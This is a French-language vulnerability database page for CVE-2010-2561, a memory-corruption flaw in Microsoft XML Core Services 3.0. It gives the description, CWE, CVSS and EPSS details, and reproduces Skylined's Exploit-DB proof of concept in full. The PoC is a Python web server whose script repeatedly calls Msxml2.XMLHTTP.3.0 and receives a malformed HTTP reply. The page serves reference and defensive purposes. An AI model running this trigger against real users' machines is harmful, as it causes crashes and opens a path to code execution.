CVE-2010-2561 : Détail

CVE-2010-2561

Code Injection
A03-Injection
92.14%V3
Network
2010-08-11
16h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Microsoft XML Core Services (aka MSXML) 3.0 does not properly handle HTTP responses, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted response, aka "Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 14609

Date de publication : 2010-08-09 22h00 +00:00
Auteur : Skylined
EDB Vérifié : Yes

# Sources: # http://skypher.com/index.php/2010/08/10/ms10-051/ # http://code.google.com/p/skylined/issues/detail?id=17 # import os, re, socket; webserver_port = 28876; replies = { r'^/$': ('text/html', """ <SCRIPT> iCounter = 0 function go() { var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++); var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0"); xml_http_request.open("GET", request_url, false); xml_http_request.send(); setTimeout(go, 1); } go(); </SCRIPT> """), r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n', }; server_socket = socket.socket(); server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); server_socket.bind(('', webserver_port)); server_socket.listen(1); print 'Webserver running at http://localhost:%d/' % webserver_port; while 1: client_socket,_ = server_socket.accept(); try: request = client_socket.recv(1024); except socket.error, e: print '>> ??'; continue; print '>> ' + request.split('\r\n')[0]; path = None; if request[:4] == 'GET ': end_path = request.find(' ', 4); if end_path != -1: path = request[4:end_path]; code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found'; response = None; if path is not None: for path_regexp in replies.keys(): if re.match(path_regexp, path): if type(replies[path_regexp]) == str: response = replies[path_regexp]; elif type(replies[path_regexp]) == tuple: code, reason = 200, 'OK'; mime_type, body = replies[path_regexp]; else: code, reason, mime_type, body = replies[path_regexp](path); break; if response is None: response = '\r\n'.join([ 'HTTP/1.1 %03d %s' % (code, reason), 'Content-Type: %s' % mime_type, 'Date: Sat Aug 28 1976 09:15:00 GMT', 'Expires: Sat Aug 28 1976 09:15:00 GMT', 'Cache-Control: no-cache, must-revalidate', 'Pragma: no-cache', 'Accept-Ranges: bytes', 'Content-Length: %d' % len(body), '', body ]); print '<< %s (%d bytes %s)' % \ (response.split('\r\n')[0], len(response), mime_type); try: client_socket.send(response); except socket.error, e: pass; client_socket.close();

Products Mentioned

Configuraton 0

Microsoft>>Xml_core_services >> Version 3.0

Références

http://www.us-cert.gov/cas/techalerts/TA10-222A.html
Tags : third-party-advisory, x_refsource_CERT